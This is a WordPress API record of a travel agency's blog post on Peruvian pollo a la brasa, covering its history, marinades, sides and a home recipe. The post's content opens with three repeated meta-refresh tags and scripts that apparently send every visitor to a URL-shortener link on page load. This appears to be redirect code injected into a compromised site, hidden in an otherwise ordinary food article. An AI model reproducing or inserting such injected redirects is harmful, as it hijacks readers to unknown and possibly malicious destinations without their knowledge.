{"id":11501,"date":"2025-06-10T11:53:59","date_gmt":"2025-06-10T16:53:59","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=11501"},"modified":"2025-06-10T11:54:03","modified_gmt":"2025-06-10T16:54:03","slug":"el-pollo-a-la-brasa-the-star-of-peruvian-cuisine","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/el-pollo-a-la-brasa-the-star-of-peruvian-cuisine\/","title":{"rendered":"El Pollo a la Brasa: The Star of Peruvian Cuisine"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/essential-peruvian-food-10-dishes-you-must-try\/\"><strong>Peruvian food<\/strong><\/a> is a topic Peruvians love to bring up. Our food is so rich and vast like our country, but among the variety of dishes in Peruvian food, one of the most cherished&nbsp; and consumed dishes for Peruvians is the \u201cpollo a la brasa\u201d (Blackened chicken)<\/p>\n\n\n\n<p>Whether you\u2019ve already tasted it or just heard of it, this delicious dish will make you appreciate every juicy bite. Let&#8217;s explore the history, cooking secrets, and cultural importance of this Peruvian treasure. After this article, we\u2019re sure you\u2019ll love this dish as much as Peruvians do!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Brief History: From Farm to Fame<\/strong><\/h2>\n\n\n\n<p>El Pollo a la Brasa has humble beginnings. A Swiss immigrant living in<strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/lima\" title=\"\"> Lima<\/a><\/strong>, Peru, created it in the late 1940s. Schuler was a farmer back then, raising chickens to sell them later. <\/p>\n\n\n\n<p>He tried to increase his profits, and that\u2019s why he started to cook chicken, trying different methods to make it tasty.<\/p>\n\n\n\n<p>\u00a0Suddenly, he noticed something curious. He saw his employee cooking chicken: She was using charcoal, and she marinated the chicken with salt. <\/p>\n\n\n\n<p>Schuler talked to his engineer friend, Franz Ulrich a way to cook chicken more efficiently, so he created an oven with a special rotating system.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"429\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3IDQRV5R6VANFIMJRPV6YCVBXE_1-2.jpg?resize=697%2C429&#038;ssl=1\" alt=\"Granja azul restaurant.\" class=\"wp-image-11505\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3IDQRV5R6VANFIMJRPV6YCVBXE_1-2.jpg?resize=1024%2C630&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3IDQRV5R6VANFIMJRPV6YCVBXE_1-2.jpg?resize=300%2C185&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3IDQRV5R6VANFIMJRPV6YCVBXE_1-2.jpg?resize=768%2C473&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3IDQRV5R6VANFIMJRPV6YCVBXE_1-2.jpg?w=1300&amp;ssl=1 1300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The invention was initially called \u201crotombo\u201d, which became the heart of this lovable dish. Later, on February 5th, 1950, \u201cLa Granja Azul\u201d (The blue farm), the first \u201cpolleria\u201d (Pollo a la Brasa restaurants) of history opened its doors. This revolutionary idea proved to be successful:&nbsp; This tender chicken was selling like hotcakes.<\/p>\n\n\n\n<p>To season the chicken, Schuler used simple but flavorful Peruvian<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-your-ultimate-guide-to-native-spices\/\"><strong> native spices<\/strong><\/a>, creating a marinade that gave the dish its signature smoky, herby, and slightly spicy taste. At first, this dish was considered a luxury and was mostly enjoyed by Peru\u2019s upper class.&nbsp;<\/p>\n\n\n\n<p>But as its popularity grew,\u00a0 poller\u00edas began popping up everywhere.\u00a0 El Pollo a la Brasa became a beloved food for people of all backgrounds. <\/p>\n\n\n\n<p>As of 2024, there are more than 13,000 \u201dpollerias\u201d around Peru, and this number keeps growing year after year.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Secret to the Flavor: Spices, Smoke, and Tradition<\/strong><\/h2>\n\n\n\n<p><strong>The Marinade<\/strong>: Although the original recipe uses salt only,\u00a0 some pollo a la brasa restaurants use ingredients such as garlic, cumin, black pepper, paprika, soy sauce, vinegar, or lime juice. <\/p>\n\n\n\n<p>Some other restaurants have more daring options for the marinade, such as chicha, huacatay, black beer, rosemary, some <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/tracing-the-roots-of-pisco-perus-distilled-treasure\/\"><strong>pisco<\/strong><\/a>, etc.<\/p>\n\n\n\n<p>The chicken must rest in the marinade for hours, or some say that\u2019s even better to leave it marinating all night. Although the dish\u2019s name is masculine, \u201cpollo\u201d, for the preparation, cooks use female chicken, as they are more juicy and tender.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/8322703954_c25202cc4d_k.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Pollo a la brasa grill\" class=\"wp-image-11506\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/8322703954_c25202cc4d_k.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/8322703954_c25202cc4d_k.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/8322703954_c25202cc4d_k.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/8322703954_c25202cc4d_k.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/8322703954_c25202cc4d_k.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/8322703954_c25202cc4d_k.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/8322703954_c25202cc4d_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>The Rotisserie<\/strong>: The magic happens when the cook roasts the marinated chicken slowly over open flames or hot charcoal. <\/p>\n\n\n\n<p>The constant rotation ensures the meat cooks evenly, while the open fire adds that irresistible smoky flavor. The skin becomes golden and crispy, while the meat stays juicy and tender.<\/p>\n\n\n\n<p><strong>The Wood or Charcoal<\/strong>: Traditional poller\u00edas often use specific types of wood, like eucalyptus, to enhance the aroma and flavor of the chicken. This small detail makes a huge difference.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A meal with all the fixings<\/strong><\/h2>\n\n\n\n<p>In Peru, El Pollo a la Brasa isn\u2019t just about the chicken\u2014it\u2019s a whole experience! It\u2019s typically served with:<\/p>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"349\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/pollo-y-papas-fritas-a-la-brasa.webp?resize=697%2C349&#038;ssl=1\" alt=\"French fries peruvian style\" class=\"wp-image-11507 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/pollo-y-papas-fritas-a-la-brasa.webp?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/pollo-y-papas-fritas-a-la-brasa.webp?resize=300%2C150&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/pollo-y-papas-fritas-a-la-brasa.webp?resize=768%2C384&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>French fries:<\/strong> Crispy and golden, these fries pair perfectly with the juicy chicken. A pollo a la brasa dish next to perfectly cooked French fries made from Peruvian <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-gift-to-the-world-the-timeless-legacy-of-the-potato\/\"><strong>potatoes<\/strong><\/a> is the perfect match.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/La-Granja-Real-Food-Chicken-Ensalada-Cocida.png?resize=697%2C697&#038;ssl=1\" alt=\"polleria salad\" class=\"wp-image-11509 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/La-Granja-Real-Food-Chicken-Ensalada-Cocida.png?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/La-Granja-Real-Food-Chicken-Ensalada-Cocida.png?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/La-Granja-Real-Food-Chicken-Ensalada-Cocida.png?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/La-Granja-Real-Food-Chicken-Ensalada-Cocida.png?resize=768%2C768&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Salad<\/strong>: A simple side of lettuce, tomato, and cucumber balances out the richness of the chicken. Some restaurants offer other veggies such as carrots, beetroot, or olives. Especially in mid-rate pollerias, you can expect \u201caguadito\u201d a hearty soup made of offal, vegetables, and Peruvian spices.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"383\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/4864523181_5505d534e4_o.jpg?resize=697%2C383&#038;ssl=1\" alt=\"pollo a la brasa suces\" class=\"wp-image-11508 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/4864523181_5505d534e4_o.jpg?w=741&amp;ssl=1 741w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/4864523181_5505d534e4_o.jpg?resize=300%2C165&amp;ssl=1 300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-saucy-superstars-a-tasty-tale-of-native-sauces\/\" title=\"\">Sauces:<\/a><\/strong> No Peruvian meal is complete without \u201csalsas\u201d. The more salsa varieties a restaurant has, the better. For example, some restaurants have more than one type of mayonnaise and \u201caji\u201d, a spicy sauce made of Peruvian <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-fiery-hot-peppers-the-spicy-soul-of-andean-cuisine\/\" title=\"\">hot peppers<\/a><\/strong>.&nbsp;<\/p>\n<\/div><\/div>\n\n\n\n<p>Of course, you can also find the most popular ones, such as ketchup and mustard sauce. This hearty combo makes for a satisfying, flavorful meal that\u2019s perfect for sharing with family and friends.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Why It\u2019s Loved Around the World<\/strong><\/h2>\n\n\n\n<p>Today, El Pollo a la Brasa has become a sensation not only in Peru but also worldwide. Polleras can be found in Europe, Asia, and the United States, and they are gaining more adherents daily. But what\u2019s the secret to its universal appeal?<\/p>\n\n\n\n<p><strong>Comfort Food<\/strong>: The smoky, savory flavors remind many people of barbecues and home-cooked meals.<\/p>\n\n\n\n<p><strong>Affordable and Filling<\/strong>: It\u2019s a meal that satisfies hunger without breaking the bank.<\/p>\n\n\n\n<p><strong>Cultural Connection<\/strong>: For Peruvians living abroad, El Pollo a la Brasa is a delicious reminder of home.<\/p>\n\n\n\n<p><strong>Cheap Option<\/strong>: In Peru, this dish is available in the most humble neighborhoods to top-rated restaurants around the country. Although its price has increased a little, it is still affordable for almost all Peruvians.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fun Facts About El Pollo a la Brasa<\/strong><\/h2>\n\n\n\n<p><strong>National Dish<\/strong>: In Peru, El Pollo a la Brasa is so beloved that it has its own day! Every year, the third Sunday of July is celebrated as <em>D\u00eda del Pollo a la Brasa<\/em>.<\/p>\n\n\n\n<p><strong>Record Breaking<\/strong>: Peru holds the Guinness World Record for the largest serving of rotisserie chicken, weighing over 3,200 pounds!<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/edf505164436707.63f698fe34f51.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Mostrito dish\" class=\"wp-image-11511\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/edf505164436707.63f698fe34f51.jpg?resize=1024%2C769&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/edf505164436707.63f698fe34f51.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/edf505164436707.63f698fe34f51.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/edf505164436707.63f698fe34f51.jpg?resize=1536%2C1153&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/edf505164436707.63f698fe34f51.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/edf505164436707.63f698fe34f51.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/edf505164436707.63f698fe34f51.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>&#8220;Mostrito,&#8221;<\/strong> <strong>a variation of pollo a la brasa, adding arroz chaufa.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p><strong>Cross-Cultural Influence<\/strong>: While it is distinctly Peruvian, El Pollo a la Brasa has inspired variations worldwide. In the U.S., it is often served with corn, plantains, or even rice and beans.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Homemade Pollo a la Brasa<\/strong><\/h3>\n\n\n\n<p>While visiting a <em>poller\u00eda<\/em> is the best way to experience authentic El Pollo a la Brasa, you can try making it at home! Here\u2019s a simple recipe:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients:<\/strong><\/h3>\n\n\n\n<p>1 whole chicken<\/p>\n\n\n\n<p>4 garlic cloves (minced)<\/p>\n\n\n\n<p>2 tbsp soy sauce<\/p>\n\n\n\n<p>1 tbsp white vinegar<\/p>\n\n\n\n<p>olive oil to taste<\/p>\n\n\n\n<p>1 tsp cumin<\/p>\n\n\n\n<p>1 tsp paprika<\/p>\n\n\n\n<p>Salt and pepper to taste<\/p>\n\n\n\n<p>Juice of 1 lime<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"928\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/ffbb1f164436707.63f698fe3b3cc.jpg?resize=697%2C928&#038;ssl=1\" alt=\"pollo a la brasa in oven\" class=\"wp-image-11510\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/ffbb1f164436707.63f698fe3b3cc.jpg?resize=769%2C1024&amp;ssl=1 769w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/ffbb1f164436707.63f698fe3b3cc.jpg?resize=225%2C300&amp;ssl=1 225w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/ffbb1f164436707.63f698fe3b3cc.jpg?resize=768%2C1023&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/ffbb1f164436707.63f698fe3b3cc.jpg?resize=1153%2C1536&amp;ssl=1 1153w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/ffbb1f164436707.63f698fe3b3cc.jpg?resize=1538%2C2048&amp;ssl=1 1538w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/ffbb1f164436707.63f698fe3b3cc.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/ffbb1f164436707.63f698fe3b3cc.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\">Instructions:<\/h3>\n\n\n\n<p>Mix all the marinade ingredients in a bowl.<\/p>\n\n\n\n<p>Rub the marinade all over the chicken, making sure to get it under the skin.<\/p>\n\n\n\n<p>Let the chicken marinate for at least 4 hours (overnight is best).<\/p>\n\n\n\n<p>Roast the chicken in a rotisserie oven or a regular oven at 375\u00b0F (190\u00b0C) for about 1.5 hours, basting it occasionally with the juices.<\/p>\n\n\n\n<p>Serve with fries, salad, and sauces.&nbsp; Although the flavor may change a little bit, you\u2019ll enjoy this version of \u201cpollo a la brasa.\u201d<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Star of Peruvian Food<\/strong><\/h2>\n\n\n\n<p>Pollo a la Brasa is more than a dish for Peruvians; it\u2019s a symbol of Peruvian culinary heritage. Since it\u2019s available for people of all kinds of budgets, pollo a la brasa shows how it can unite people. If you haven\u2019t tried it yet, what are you waiting for?<\/p>\n\n\n\n<p><strong>Viagens Machu Picchu<\/strong> encourages you to try this and more dishes in our variety of Peruvian cuisine. We also encourage you to visit our country, where you will not only discover these and more dishes, but also culture, traditions, adventure, and more. <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">Contact us<\/a><\/strong> to start the beginning of adventure of a lifetime.<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Peruvian food is a topic Peruvians love to bring up. Our food is so rich and vast like our country, but among the variety of dishes in Peruvian food, one of the most cherished&nbsp; and consumed dishes for Peruvians is the \u201cpollo a la brasa\u201d (Blackened chicken) Whether you\u2019ve already tasted it or just heard [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":11502,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[192,1850,3495,1],"tags":[3992,3988,3997,3995,2182,3993,1241,3994,1504,1145,1132,3991,3862,3102,3990,3979,3989,3996],"class_list":["post-11501","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-experiences","category-food","category-peruvian-flavors","category-sem-categoria","tag-aji-sauce","tag-blackened-chicken","tag-dia-del-pollo-a-la-brasa","tag-la-granja-azul","tag-peruvian-adventure","tag-peruvian-chili","tag-peruvian-cuisine","tag-peruvian-culinary-heritage","tag-peruvian-culture","tag-peruvian-food","tag-peruvian-gastronomy","tag-peruvian-potatoes","tag-peruvian-spices","tag-peruvian-traditions","tag-pollerias","tag-pollo-a-la-brasa","tag-rotisserie-chicken","tag-rotombo-oven"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/bbc595164267721.63f430312f36f.jpg?fit=1920%2C1441&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-2Zv","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11501","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=11501"}],"version-history":[{"count":4,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11501\/revisions"}],"predecessor-version":[{"id":16200,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11501\/revisions\/16200"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/11502"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=11501"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=11501"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=11501"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}